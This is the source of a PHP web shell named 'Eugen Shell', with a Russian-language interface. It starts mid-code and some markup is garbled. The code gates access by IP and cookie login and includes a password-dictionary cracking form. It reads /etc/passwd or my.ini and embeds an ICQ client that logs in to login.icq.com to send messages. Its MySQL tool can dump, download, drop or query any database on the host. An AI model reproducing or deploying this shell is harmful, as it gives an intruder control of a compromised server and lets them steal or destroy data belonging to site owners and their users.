$value) { $_REQUEST[$key]=stripslashes($value); } } $act=$_REQUEST['act']; $name_img=$_REQUEST['name_img']; $dl=$_REQUEST['download']; $img=$_REQUEST['image']; if (!empty($_REQUEST['workingdir'])) chdir($_REQUEST['workingdir']); $hcwd=""; $errorbox = "
Ошибка: "; $et = "
"; $v="3.01 private"; $msgbox="
"; $intro="
Скрипт:
".str_repeat("---",25)."
Название: Eugen Shell
Версия: ".$v."

Автор:
".str_repeat("---",25)."
Имя: Евгений
Страна: Украина
Email: majorchik@gmail.com".$et.""; $footer=$msgbox."Eugen Shell v".$v.$et; $t = "
"; $crack="
Словарь:
Тип словаря:Simple (P)Combo (U:P)
Имя:
Сервер:
 ".$hcwd."
"; $disablefunctions = @ini_get('disable_functions'); if ($_REQUEST['sec'] == "logout") { setcookie("user_name"); setcookie("pass_word"); header("Location: ".$_SERVER['PHP_SELF']); exit(); } $style=""; $mainmenu=$style.""; $tmp=array(); foreach ($hosts as $k=>$v) $tmp[]=str_replace("\\*",".*",preg_quote($v)); $ssd="!^(".implode("|",$tmp).")$!i"; if (!preg_match($ssd,getenv("REMOTE_ADDR")) && !preg_match($ssd,gethostbyaddr(getenv("REMOTE_ADDR")))) { die(" ".$style." Eugen Shell

Sorry


Access denied from your IP

"); } $loginlogin=array_merge($_COOKIE,$_POST); if ($log_in != false) { if ($loginlogin['user_name'] != $log_in || $loginlogin['pass_word'] != $password) { die(" ".$style." Eugen Shell

Authorization


Login:


Password:


"); } else { if (!$_COOKIE['user_name']) { setcookie("user_name",$log_in); setcookie("pass_word",$password); }}} function get_file_ext($file) { $file=strtolower($file); if (strstr($file,".")) { $d=strlen($file); $ext=""; while($file[$d]!=".") { $ext=$file[$d].$ext; $d--; } return $ext; } else { return $file; } } if ($act == "img") { unset($img); $img=array( 'dir'=> 'R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA'. 'AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp'. '/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=', 'exe'=> 'R0lGODlhEwAOAKIAAAAAAP///wAAvcbGxoSEhP///wAAAAAAACH5BAEAAAUALAAAAAATAA4AAAM7'. 'WLTcTiWSQautBEQ1hP+gl21TKAQAio7S8LxaG8x0PbOcrQf4tNu9wa8WHNKKRl4sl+y9YBuAdEqt'. 'xhIAOw==', 'html'=> 'R0lGODlhEwAQALMAAAAAAP///2trnM3P/FBVhrPO9l6Itoyt0yhgk+Xy/WGp4sXl/i6Z4mfd/HNz'. 'c////yH5BAEAAA8ALAAAAAATABAAAAST8Ml3qq1m6nmC/4GhbFoXJEO1CANDSociGkbACHi20U3P'. 'KIFGIjAQODSiBWO5NAxRRmTggDgkmM7E6iipHZYKBVNQSBSikukSwW4jymcupYFgIBqL/MK8KBDk'. 'Bkx2BXWDfX8TDDaFDA0KBAd9fnIKHXYIBJgHBQOHcg+VCikVA5wLpYgbBKurDqysnxMOs7S1sxIR'. 'ADs=', 'txt'=> 'R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ'. 'SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7'. 'UpPWG3Ig6Hq/XmRjuZwkAAA7', 'unk'=> 'R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANE'. 'SLPcSzCqQKsVQ8JhexBBJnGVYFZACowleJZrRH7lFW8eDbMXaPO1juA2uXiGwBwFKRMeiTPlByrd'. 'yUzYbJao6npVkQQAOw==', 'php'=> 'R0lGODlhEwAQALMAAAAAAP///9fX3d3f7s/S5F1qpmJpjKOqyr7D27i80K+ywEtam4OIk+T/AO7u'. '7v///yH5BAEAAA8ALAAAAAATABAAAAR08D0wK71VSna47yBHadxhnujRqKRJvC+SJIPKbgJR7DzP'. 'NECNgNFbGI/HhmZQWASezugzsFBKdtJsoEA1aLBTJzTMIDWpRqr6mFgyounswiAgDYjY/FwxGD1K'. 'BAMIg4MJCg41fiUpjAeKjY1+EwCUlZaVGhEAOw==', 'img'=> 'R0lGODlhEwAQALMAAAAAAP///6CgpHFzcVe2Osz/mbPmZkRmAPj4+Nra2szMzLKyspeXl4aGhlVV'. 'Vf///yH5BAEAAA8ALAAAAAATABAAAASA8KFJq00vozZ6Z4uSjGOTSV3DMFzTCGJ5boIQKsrqgoqp'. 'qbabYsFq+SSs1WLJFLgGx82OUWMuXVEPdGcLOmcehziVtEXFjoHiQGCnV99fR4EgFA6DBVQ3c3bq'. 'BIEBAXtRSwIsCwYGgwEJAywzOCGHOliRGjiam5M4RwlYoaJPGREAOw==' ); header("Content-type: image/gif"); die (base64_decode($img[$name_img])); } class ICQclient { var $socket, $server, $port, $connected; var $uin, $password, $logged; var $client = array(), $sequence, $TLV = array(); var $uin_sendto, $message; function ICQclient($uin, $password) { $this->server = "login.icq.com"; $this->port = 5190; $this->uin = (string)$uin; $this->password = $password; $this->client = array("name" => "qip", "country" => "ru", "language" => "ru", "major" => 1, "minor" => 0, "lesser" => 0, "build" => 1); } function connect() { $this->socket = @fsockopen($this->server, $this->port); if (!$this->socket) return false; else { $this->connected = true; return true; } } function connect_migration() { list($server, $port) = explode(":", $this->TLV[0x05]); $this->socket = @fsockopen($server, $port); } function login() { if (!$this->connected) $this->connect(); if (!$this->connected) return false; $this->receive_packet(); $this->sequence = rand(0x0000, 0xFFFF); $this->send_packet("login"); $SNAC = $this->receive_packet(); $this->parse_SNAC($SNAC); if (!(@$this->TLV[0x05] and @$this->TLV[0x06])) return false; $this->connect_migration(); $this->send_packet("cookie"); $this->receive_packet(); $this->send_packet("ready"); $this->receive_packet(); $this->logged = true; return true; } function send_message($uin, $message) { if (!$this->logged) return false; $this->uin_sendto = $uin; $this->message = $message; $this->send_packet("message"); $this->receive_packet(); return true; } function send_packet($type) { list($channel, $SNAC) = $this->gen_SNAC($type); $FLAP = pack("CCnn", 0x2A, $channel, $this->sequence, strlen($SNAC)); $packet = $FLAP.$SNAC; @fwrite($this->socket, $packet); $this->sequence++; if ($this->sequence == 0xFFFF) $this->sequence = 0x0000; } function receive_packet() { $FLAP = @fread($this->socket, 6); list(, $length) = @unpack("n", substr($FLAP, 4, 2)); $SNAC = @fread($this->socket, $length); $packet = $FLAP.$SNAC; return $SNAC; } function gen_SNAC($type) { if ($type == "login") { $SNAC = pack("N", 1). $this->gen_TLV(0x01, $this->uin). $this->gen_TLV(0x02, xor_encrypt($this->password)). $this->gen_TLV(0x03, $this->client["name"]). $this->gen_TLV(0x16, 266, 2). $this->gen_TLV(0x17, $this->client["major"], 2). $this->gen_TLV(0x18, $this->client["minor"], 2). $this->gen_TLV(0x19, $this->client["lesser"], 2). $this->gen_TLV(0x1A, $this->client["build"], 2). $this->gen_TLV(0x14, 85, 4). $this->gen_TLV(0x0F, $this->client["language"]). $this->gen_TLV(0x0E, $this->client["country"]); $channel = 1; } if ($type == "cookie") { $SNAC = pack("N", 1). $this->gen_TLV(0x06, $this->TLV[0x06]); $channel = 1; } if ($type == "ready") { $SNAC = "\x00\x01\x00\x02\x00\x00\x00\x00\x00\x02\x00\x01\x00\x03\x01\x10". "\x02\x8A\x00\x02\x00\x01\x01\x01\x02\x8A\x00\x03\x00\x01\x01\x10". "\x02\x8A\x00\x15\x00\x01\x01\x10\x02\x8A\x00\x04\x00\x01\x01\x10". "\x02\x8A\x00\x06\x00\x01\x01\x10\x02\x8A\x00\x09\x00\x01\x01\x10". "\x02\x8A\x00\x0A\x00\x01\x01\x10\x02\x8A"; $channel = 2; } if ($type == "message") { $this->TLV[0x0501] = pack("C", 1); $this->TLV[0x0101] = pack("N", 0).$this->message; $this->TLV[0x02] = $this->gen_TLV(0x0501, $this->TLV[0x0501]). $this->gen_TLV(0x0101, $this->TLV[0x0101]); $SNAC = pack("nnnNdnca*", 0x04, 0x06, 0, 0, microtime(), 1, strlen($this->uin_sendto), $this->uin_sendto). $this->gen_TLV(0x02, $this->TLV[0x02]). $this->gen_TLV(0x06, ""); $channel = 2; } return array($channel, $SNAC); } function parse_SNAC($SNAC) { unset($this->TLV); while (strlen($SNAC) > 0) { list(, $type, $length) = unpack("n2", substr($SNAC, 0, 4)); $this->TLV[$type] = substr($SNAC, 4, $length); $SNAC = substr($SNAC, 4+$length); } } function gen_TLV($type, $value, $length=false) { switch ($length) { case 1: $format = "C"; break; case 2: $format = "n"; break; case 4: $format = "N"; break; default: $format = "a*"; break; } if ($length === false) $length = strlen($value); return pack("nn".$format, $type, $length, $value); } } function xor_encrypt($password) { $roast = "\xf3\x26\x81\xc4\x39\x86\xdb\x92\x71\xa3\xb9\xe6\x53\x7a\x95\x7c"; $xored = ""; for ($i=0; $i$v) { if($k!='GLOBALS') { strips($el[$k]); } } } else { $el = stripslashes($el); } } function download($file, $type = false, $name = false, $down = false) { if(!file_exists($file)) exit; if(!$name) $name = basename($file); if($down) $type = "application/force-download"; else if(!$type) $type = "application/download"; $disp = $down ? "attachment" : "inline"; header("Content-disposition: ".$disp."; filename=".$name); header("Content-length: ".filesize($file)); header("Content-type: ".$type); header("Connection: close"); header("Expires: 0"); set_time_limit(0); readfile($file); unlink($file); exit; } function send_header() { header("Content-type: image/gif"); header("Cache-control: public"); header("Expires: ".date("r",mktime(0,0,0,1,1,2030))); header("Cache-control: max-age=".(60*60*24*7)); header("Last-Modified: ".date("r",filemtime(__FILE__))); } $self=$HTTP_SERVER_VARS['PHP_SELF']; if(!ini_get("register_globals")){ import_request_variables("GPC"); } if (get_magic_quotes_gpc()) strips($GLOBALS); if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') { $file = "C:\\dump_".$db.".sql"; $p_v=$SystemRoot."\my.ini"; $os="win"; } else { $file = "/tmp/dump_".$db.".sql"; $p_v="/etc/passwd"; } if ($_REQUEST['send']=='send_http') { if ($_REQUEST['strukt']=='d_strukt_bd' && $_REQUEST['dump']=='bd'){ $host = $HTTP_SERVER_VARS["SERVER_NAME"]; $ip = $HTTP_SERVER_VARS["SERVER_ADDR"]; $connection=mysql_connect($server.":".$port, $login, $passwd) or die("$h_error".mysql_error()."$f_error"); mysql_select_db($db) or die("$h_error".mysql_error()."$f_error"); if (sizeof($tabs) == 0) { $res = mysql_query("SHOW TABLES FROM $db", $connection); if (mysql_num_rows($res) > 0) { while ($row = mysql_fetch_row($res)) { $tabs[] .= $row[0]; } } } $fp = fopen($file, "w"); fputs ($fp, "# Host settings:\n# MySQL version: (".mysql_get_server_info().")\n# Date: ". date("F j, Y, g:i a")."\n# ".$host." (".$ip.")"." dump db \"".$db."\"\n#____________________________________________________________\n\n"); foreach($tabs as $tab) { if ($add_drop) { fputs($fp, "DROP TABLE IF EXISTS `".$tab."`;\n"); } $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $connection) or die(mysql_error()); $row = mysql_fetch_row($res); fputs($fp, $row[1].";\n\n"); $res = mysql_query("SELECT * FROM `$tab`", $connection); if (mysql_num_rows($res) > 0) { while ($row = mysql_fetch_assoc($res)) { $keys = implode("`, `", array_keys($row)); $values = array_values($row); foreach($values as $k=>$v) {$values[$k] = addslashes($v);} $values = implode("', '", $values); $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n"; fputs($fp, $sql); } } fputs ($fp, "#---------------------------------------------------------------------------------\n\n"); } fclose($fp); } if ($_REQUEST['strukt']=='d_strukt'){ $host = $HTTP_SERVER_VARS["SERVER_NAME"]; $ip = $HTTP_SERVER_VARS["SERVER_ADDR"]; $connection=mysql_connect($server.":".$port, $login, $passwd) or die("$h_error".mysql_error()."$f_error"); mysql_select_db($db) or die("$h_error".mysql_error()."$f_error"); $fp = fopen($file, "w"); fputs ($fp, "# Host settings:\n# $host ($ip)\n# MySQL version: (".mysql_get_server_info().")\n# Date: ". date("F j, Y, g:i a")."\n# "." dump db \"".$db."\" table \"".$tbl."\"\n#_________________________________________________________\n\n"); $res = mysql_query("SHOW CREATE TABLE `".$tbl."`", $connection) or die("$h_error".mysql_error()."$f_error"); $row = mysql_fetch_row($res); fputs($fp, "DROP TABLE IF EXISTS `".$tbl."`;\n"); fputs($fp, $row[1].";\n\n"); $res = mysql_query("SELECT * FROM `$tbl`", $connection); if (mysql_num_rows($res) > 0) { while ($row = mysql_fetch_assoc($res)) { $keys = implode("`, `", array_keys($row)); $values = array_values($row); foreach($values as $k=>$v) {$values[$k] = addslashes($v);} $values = implode("', '", $values); $sql = "INSERT INTO `$tbl`(`".$keys."`) VALUES ('".$values."');\n"; fputs($fp, $sql); } } fclose($fp); } if ($_REQUEST['strukt']=='t_strukt'){ $host = $HTTP_SERVER_VARS["SERVER_NAME"]; $ip = $HTTP_SERVER_VARS["SERVER_ADDR"]; $connection=mysql_connect($server.":".$port, $login, $passwd) or die("$h_error".mysql_error()."$f_error"); mysql_select_db($db) or die("$h_error".mysql_error()."$f_error"); $fp = fopen($file, "w"); fputs ($fp, "# Host settings:\n# $host ($ip)\n# MySQL version: (".mysql_get_server_info().")\n# Date: ". date("F j, Y, g:i a")."\n# "." dump db \"".$db."\" table \"".$tbl."\"\n#_________________________________________________________\n\n"); $res = mysql_query("SHOW CREATE TABLE `".$tbl."`", $connection) or die("$h_error".mysql_error()."$f_error"); $row = mysql_fetch_row($res); fputs($fp, "DROP TABLE IF EXISTS `".$tbl."`;\n"); fputs($fp, $row[1].";\n\n"); fclose($fp); } if ($_REQUEST['strukt']=='d'){ $host = $HTTP_SERVER_VARS["SERVER_NAME"]; $ip = $HTTP_SERVER_VARS["SERVER_ADDR"]; $connection=mysql_connect($server.":".$port, $login, $passwd) or die("$h_error".mysql_error()."$f_error"); mysql_select_db($db) or die("$h_error".mysql_error()."$f_error"); $fp = fopen($file, "w"); $res = mysql_query("SELECT * FROM `$tbl`", $connection); if (mysql_num_rows($res) > 0) { while ($row = mysql_fetch_assoc($res)) { $keys = implode("`, `", array_keys($row)); $values = array_values($row); foreach($values as $k=>$v) {$values[$k] = addslashes($v);} $values = implode("', '", $values); $sql = "INSERT INTO `$tbl`(`".$keys."`) VALUES ('".$values."');\n"; fputs($fp, $sql); } } fclose($fp); } download($f_dump); } if ($_REQUEST['img']=='b_close') { $b_close='R0lGODlhdwAUAOYAANWEhdJYWNiwsc0PD9aTk88sLNA7O9rNztehotR1dk0AANQnJ4IAANc1Ndg9PWYAAL4'. 'AAM8PD6AAANg8POiLi8yEhb0sLIYAAGIAAMRYWOeGhtc5Oc8NDeR3d1gAANuEhU4AAKcAANJbW9Z1dt1XV8'. 'IAAONzc8QAAOqXl6gAAO2kpOJvb9IeHtuOj88QENYwMHUAANASEt9hYbAAAIwAAHkAAD0AAL0AAN5aWtQpK'. 'c4MDNROT0UAAKwAANtJSdQqKtAUFOqYmMwCAuR2dtuiou2jo95bW8l1dtc3N+ucnI4AAJMAAHoAAD4AANWK'. 'i+yfn5IAAOuZmdaVls4KCtlAQJQAAEAAANtMTOFra3EAAJEAALgAAOFpaWcAAOeFhXAAAN9dXeqVlTcAANg'. '6Ol4AANNnZ9m/wLUAANEbG9tKSoQAAOiOjuaCglYAAOJsbDQAANvc3cwAAAAAAAAAAAAAAAAAAAAAAAAAAA'. 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAAAAAAALAAAAAB3ABQAAAf/gFFFKk9ha4eIiYqLjI2Oj5CRk'. 'pOJGiY4GxwUQUkoFGygoaKjpKWmp6ipqqusokNGSBwzHV4UGh1uubq7vL2+v8DBwsPExbtgYy5nSjJYK1wk'. 'adLT1NXW19jZ2tvc1h8tRB/d2BsxW0tZPldpVD9o7/Dx8vP09fb3+PnxO3D9cCP66k05UwWGBwcTGiyIEKe'. 'hw4cQI0qcSLGixYsOB8A5UKYAxooQJDB4oAChQoYNBfgzEIeAvwQNzcg0w3KASzhmBrQ0A2CjTgJm4pShac'. 'BMmThmCAg1OnQmgaEsIwLteeDnyzg9AwCA2fCmgAFFZ8pUGkdAzoYhR5ZMuLChgQMA/xDgjAP3ZhwD/Q7MV'. 'UlAJYI4/QjohdkPKZwBPcvgRVCgXxmg/Yyq9Bgx8GC6AOz66/dXLgK+QyNDFgrnL1qRJE22bTggQBk4AOK0'. '7gmHdAKNAPAKCBAAZ2MBcXoD+A249uTXCfTCYUm8OIDhD4kLl621n8acGuE0n1s8ZW0z2h2mTc0WJWmfrzf'. 'OvWmdtj8Er2P3ThCfeGGXB5Q3jC97c22H/M2Xnl5mTGdYAnAcBVhQ1zWUWGkPjbfWSRC95gQcwE0HXnXPJf'. 'hQVi0tl1V8DYK3HHcgTqfXh3AEEKIIGAYHm4E4gYicjLGdF554qE24WoIBqCQFhgHodVQ/AKhUxv9rHJUhQ'. 'FEJvhYUeJAhIFdsjvVGFng69SSAS0E5BN6SOPW2m5HZBRllaWXo5VFiDfUGYYQ9qsYQXv585V8BeAbWkFz+'. 'FOePR/75o1iMCCpYWFmbRdXQntkNipU/OSq3nHeO9kMZj2rZ6RBvlLWmk0UFBMAchqV+pCpEv6XKWgCjOlR'. 'qrHe5ONFrptHZaXmrWsRfr8D+CqxF/TjKKUkv5MCCDiWc4eyz0EYrrbQZVGDBtNhmq62z1V677bfSWlDBEd'. 'OGQMMXHvAAhBA3pKCFGvDGK++89NZr77345qvvvvzKywQGIFjxxgk9QFEDBm0krPDCDDfs8MMQRyzxxBRXv'. 'DArCDa8oXEIF3ShgBgahyzyyCSXbPLJKKes8soso3wBGU20LPPMNNdsc8qBAAA7'; send_header(); echo base64_decode($b_close); } $n_img = create_function('$tag,$f_n,$img_c', 'print \'<\'.$tag.\'>\';$f_n("$img_c");'); $h_error="
Ошибка в запросе:

"; $f_error="

"; print " MySQL ".$mainmenu."
"; if ($sapi_type == "cgi") { $php_type="CGI"; } else { $php_type="модуль"; } $start_form="
  MySQL ".date ("j F- Y- g:i")."  

Утилита для работы с MySQL

  • Просмотр баз и таблиц.
  • Произвольные запросы к БД.
  • Редактирование баз и таблиц.
  • Дампы БД или таблиц.

  • Для соединения с сервером MySQL введите ИМЯ, ПАРОЛЬ (пользователя MySQL) и имя ХОСТА.

  • Если логин юзера mysql не указан явно, по умолчанию подставляется имя владельца процесса.
  • Если пароль юзера mysql не указан явно, по умолчанию подставляется пустой пароль.
  • Если имя севрвера mysql не указано явно, по умолчанию подставляется localhost
  • Если порт для севрвера mysql не указан явно, подставляется порт по умолчанию, обычно (3306)

    Версия PHP (".phpversion().")          ID PHP script (".get_current_user( ).")

    имя юзера MySQLпароль юзера MySQL 
    Сервер MySQLпорт

  • "; if ($os =='win') { $os="OS- ".$HTTP_ENV_VARS["OS"].""; }else{ $str_k=$_ENV["BOOT_FILE"]; $k=preg_replace ("/[a-zA-Z\/]/","", $str_k); $os="OS\Kernel: ".$_ENV["BOOT_IMAGE"].$k.""; } if (!isset($s) || $_REQUEST[s] != 'y') { print $start_form; $serv = array(127,192,172,10); $adrr=@explode('.', $HTTP_SERVER_VARS["SERVER_ADDR"]); if (!in_array($adrr[0], $serv)) { } exit; } $form_ad_b="
    MySQL $server v.(".mysql_get_server_info().") ".$HTTP_SERVER_VARS["SERVER_SOFTWARE"]." Версия PHP (".phpversion().") $php_type
    IP:".$HTTP_SERVER_VARS["SERVER_ADDR"]." Name:".$HTTP_SERVER_VARS["SERVER_NAME"]." ID PHP script (".get_current_user( ).") $os
    Статистика MySQL Процессы MySQL  
    Переменные Apache Переменные MySQL  

    Создать новую базу данных
    "; $cnt_b=mysql_num_rows(mysql_list_dbs()); print "
      MySQL $server [CONNECTION Ok]   Всего баз: $cnt_b ".date ("j F- Y- g:i")."  
    "; if (isset($server)&&isset($port)&&isset($login)&&isset($passwd)){ $connection = mysql_connect($server.":".$port, $login, $passwd) or die("$header
    Ошибка соединения с MySQL сервером $server
    ".mysql_error()."

    Вероятные ошибки:
  • Не правильный адрес сервера $server
  • Не правильный номер порта $port
  • Не верное имя (login) юзера mysql $login
  • Не верный пароль (password) юзера mysql $passwd
  • Доступ к серверу $server запрещен с адреса ".getenv('REMOTE_ADDR')."
  • Удаленный сервер временно не доступен

  • "); } if ($connection&&!isset($db)) { print "
    ". "". "Показать все базы
    "; $result = mysql_list_dbs($connection) or die("$h_error".mysql_error()."$f_error"); while ( $row=mysql_fetch_row($result) ){ $cnt_title=mysql_num_rows(mysql_list_tables($row[0])); print "
    "; if ($cnt_title < 1) { print "$row[0]"; }else{ print "$row[0]"; } print "
    "; } } if (isset($db)){ $result=mysql_list_tables($db) or die ("$h_error".mysql_error()."$f_error"); print "
    ". "". "Показать все базы
    "; print "
    ". "---[ $db". " ]---
    "; while ( $row=mysql_fetch_array($result) ){ $count=mysql_query ("SELECT COUNT(*) FROM $row[0]"); $count_row= mysql_fetch_array($count); print "". "
    "; if ($count_row[0] < 1) { print "$row[0] ($count_row[0])
    "; }else{ print "$row[0] ($count_row[0])
    "; } @mysql_free_result($count); } } print " "; if ($connection&&!isset($db)) { $anon = @mysql_query("SELECT Host,User FROM mysql.user WHERE User=''", $connection); if (mysql_num_rows($anon)>0) { print "
    Внимание!
    Анонимным пользователям разрешено подключение к серверу MySQL
    "; } print $form_ad_b; } if (isset($proc) && $proc=="TRUE"){ $result = mysql_query("SHOW PROCESSLIST", $connection); print "
    Процессы MySQL сервера [ $server ]
    "; while ($row = mysql_fetch_array($result, MYSQL_NUM)) { print ""; } print "
    IDUSERHOSTDBCOMMANDTIMESTATEINFO
    $row[0]$row[1]$row[2]$row[3]$row[4]$row[5]$row[6]$row[7]

    "; mysql_free_result($result); unset($proc); } if (isset($_REQUEST['new_db'])){ $new_db=trim($_REQUEST['new_db']); if (mysql_create_db ($new_db)) { print ("
    База $new_db успешно создана

    "); print ""; } else { print "$h_error".mysql_error()."$f_error "; } unset($new_db); } if (isset($_REQUEST['drop'])){ $result_d = mysql_list_dbs($connection) or die("$h_error".mysql_error()."$f_error"); while ( $row_d=mysql_fetch_row($result_d) ){ if ($drop==$row_d[0]) $dr="TRUE"; } if ($dr="TRUE") { mysql_drop_db($drop,$connection); print ("
    База $drop успешно удалена

    "); print ""; } unset($drop); } if (isset($apc) && $apc=="TRUE"){ print "
    Переменные сервера Apache [ $server ]
    ОписаниеПеременная
    Имя Internet-хоста".$HTTP_SERVER_VARS["SERVER_NAME"]."
    IP-адрес хоста".$HTTP_SERVER_VARS["SERVER_ADDR"]."
    Порт Web-сервера.".$HTTP_SERVER_VARS["SERVER_PORT"]."
    Спецификация CGI интефейса.".$HTTP_SERVER_VARS["GATEWAY_INTERFACE"]."
    Протокол при запросе данной страницы (метод).".$HTTP_SERVER_VARS["REQUEST_METHOD"]."
    Root директория для данного пользователя.".$HTTP_SERVER_VARS["DOCUMENT_ROOT"]."
    Заголовок текущего запроса.".$HTTP_SERVER_VARS["HTTP_CONNECTION"]."
    Директива httpd.conf (SERVER_ADMIN).".$HTTP_SERVER_VARS["SERVER_ADMIN"]."
    Сигнатура сервера.".$HTTP_SERVER_VARS["SERVER_SIGNATURE"]."

    "; unset($apc); } if (isset($stat) && $stat=="TRUE"){ $result = mysql_query("SHOW STATUS", $connection); print "
    Переменные состояния MySQL сервера [ $server ]
    "; while ($row = mysql_fetch_array($result, MYSQL_NUM)) { print ""; } print "
    Переменные состояния серверазначения переменных
    $row[0]$row[1]
    "; mysql_free_result($result); } if (isset($var) && $var=="TRUE"){ $result = mysql_query("SHOW VARIABLES ", $connection); print "
    Системные переменные MySQL сервера [ $server ]
    "; while ($row = mysql_fetch_array($result, MYSQL_NUM)) { print ""; } print "
    Переменные серверазначения переменных
    $row[0]$row[1]
    "; mysql_free_result($result); unset($var); } if (isset($db) && !isset($tbl)) { $cnt=mysql_num_rows(mysql_list_tables($db)); print "
    Создать таблицу SQL-запрос структура Дамп базы удалить базу

    "; print "  БД:($db)   Всего таблиц:($cnt)"; if (isset($t)) { print "
      ";} if (isset($t2)) { print base64_decode($t2);} if (isset($str) && $str=='TRUE'){ mysql_select_db($db); if ($cnt < 1) { print "". "

    Невозможно показать структуру базы
    В базе ". "$db нет таблиц!


    "; }else{ $result = mysql_query("SHOW TABLE STATUS", $connection); print "
    Структура базы [ $db ]
    ". "". "". ""; while ($row = mysql_fetch_array($result, MYSQL_NUM)) { $size=$row[5]/1000; print "". ""; } print "
    имя таблицытипрядовсозданамодифицированаразмер(kb)действие
    $row[0]$row[1]$row[3]$row[10]$row[11]$size". "уничтожить

    "; mysql_free_result($result); } } print "
    "; } $form_dump_bd= "
    ". " ". "". "". "". "". "". "". "". "". "
    ". "". "". "". "". "". "". "". "
    Dump базы [ $db ]
    Структура и данные

    Действие (показать/отправить)
    Показать в броузере
    Отправить файл дампа по HTTP

    ". "
    "; if ($_REQUEST['dump']=='bd') { if ($cnt >= 1) { print $form_dump_bd; }else{ print "". "

    Невозможно сделать дамп базы
    В базе ". "$db нет таблиц!


    "; } } $host = $HTTP_SERVER_VARS["SERVER_NAME"]; $ip = $HTTP_SERVER_VARS["SERVER_ADDR"]; if ($_REQUEST['strukt']=='d_strukt_bd' && $_REQUEST['send']=='send_br'){ if (sizeof($tabs) == 0) { $res = mysql_query("SHOW TABLES FROM $db", $connection); if (mysql_num_rows($res) > 0) { while ($row = mysql_fetch_row($res)) { $tabs[] .= $row[0]; } } } $fp = fopen($file, "w"); fputs ($fp, "# Host settings:\n# MySQL version: (".mysql_get_server_info().")\n# Date: ". date("F j, Y, g:i a")."\n# ".$host." (".$ip.")"." dump db \"".$db."\"\n#____________________________________________________________\n\n"); foreach($tabs as $tab) { if ($add_drop) { fputs($fp, "DROP TABLE IF EXISTS `".$tab."`;\n"); } $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $connection) or die(mysql_error()); $row = mysql_fetch_row($res); fputs($fp, $row[1].";\n\n"); $res = mysql_query("SELECT * FROM `$tab`", $connection); if (mysql_num_rows($res) > 0) { while ($row = mysql_fetch_assoc($res)) { $keys = implode("`, `", array_keys($row)); $values = array_values($row); foreach($values as $k=>$v) {$values[$k] = addslashes($v);} $values = implode("', '", $values); $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n"; fputs($fp, $sql); } } fputs ($fp, "#---------------------------------------------------------------------------------\n\n"); } fclose($fp); $dump_file=file($file); print "
    "; print ""; foreach ($dump_file as $k=>$v) { $v=str_replace("\n","
    ",$v); print ""; } print "
    ".strip_tags($v,"
    ")."

    "; unlink($file); } $form_cr_tbl= "
    ". " ". "". "". "". "". "". "
    ". "". "". "". "". "". "
    Создать новую таблицу в базе [ $db ]
    Имя новой таблицы:
    Количество полей таблицы:            

    ". "
    "; if (isset($_REQUEST['cr_tbl']) && $_REQUEST['cr_tbl']=='new'){ print "$form_cr_tbl"; } if ( (isset($new_count_cols)) && (ereg("[^0-9]",$new_count_cols) || preg_match("/ +/",$new_count_cols) || $new_count_cols=='') ) { print ""; print "$form_cr_tbl"; } if ( (ereg("[0-9]",$_REQUEST['new_count_cols'])) && ($_REQUEST['new_tbl_name'] !=='') ) { for ($i=0; $i < $_REQUEST['new_count_cols']; $i++) { $pole_count .= "". "". " ". "". " ". " ". "". " ". "". "". "". "". ""; } print "
    ". " ". "". "". "". "". "". "". "
    ". "". "". "". "". "
    Создать новую таблицу [ $new_tbl_name ] в базе [ $db ]
    ". "". ""; print $pole_count; print "
    ПолеТипДлиннаАтрибутыНольПо умолчаниюДополнительноПервичныйИндексУник-oе---

    Коментарий к таблице:     Тип таблицы:      Показать PHP-код запроса

    ". "
    "; } if (isset($_REQUEST['field_name'])) { for ($i=0; $i0) { $n_prim=substr_replace($n_prim,"",-2); $n_name .=", PRIMARY KEY ($n_prim)"; } if (count($n_ind)) { $n_ind=substr_replace($n_ind,"",-2); $n_name .=", INDEX ($n_ind)"; } if (count($n_uniq)) { $n_uniq=substr_replace($n_uniq,"",-2); $n_name .=", UNIQUE ($n_uniq)"; } $sql_new_tbl = "CREATE TABLE `$new_tbl_name` ( $n_name )"; if ($_REQUEST['tbl_type'] !=='Default') { $sql_new_tbl .= " TYPE =$tbl_type"; } if ($_REQUEST['comment'] !=='') { $sql_new_tbl .= " COMMENT = '$comment'"; } $r_n_tbl=mysql_db_query($db, $sql_new_tbl) or die("$h_error".mysql_error()."$f_error"); $t=base64_encode("Action: Таблица [ $new_tbl_name ] успешно создана.
    "); if ($_REQUEST['php_kod']=='ok') { $t2=base64_encode("
    PHP-код запроса:
    \$sql='$sql_new_tbl';


    "); }else{ $t2=''; } print ""; } if ($_REQUEST['q_tbl']=='bd') { $q_bd="SHOW TABLE STATUS "; } if ($_REQUEST['return_sql']=='ok') { $q_bd=trim($_REQUEST['new_query_bd']);} $form_query_db="
    Выполнить произвольный запрос к базе ( $db )
    Показать PHP-код запроса

    Показать данный запрос снова

    Примеры запросов
    "; if (isset($db) && $_REQUEST['q_tbl']=='bd') { print $form_query_db; } if (isset($_REQUEST['new_query_bd'])) { $_REQUEST['new_query_bd']=trim($_REQUEST['new_query_bd']); print $form_query_db; if ($_REQUEST['php_kod']=='ok') { print "   PHP-код запроса:
       \$sql=\"".$_REQUEST['new_query_bd']."\";

    "; } $r_q_bd=mysql_db_query($db, $_REQUEST['new_query_bd']) or die("$h_error".mysql_error()."$f_error"); print "   Запрос успешно выполнен"; if ($r_q_bd !=='') { print ""; while ($line_bd = @mysql_fetch_array($r_q_bd, MYSQL_ASSOC)) { print ""; foreach ($line_bd as $key_bd =>$col_value_bd) { print ""; } print ""; } print "
    ".htmlspecialchars($col_value_bd)."

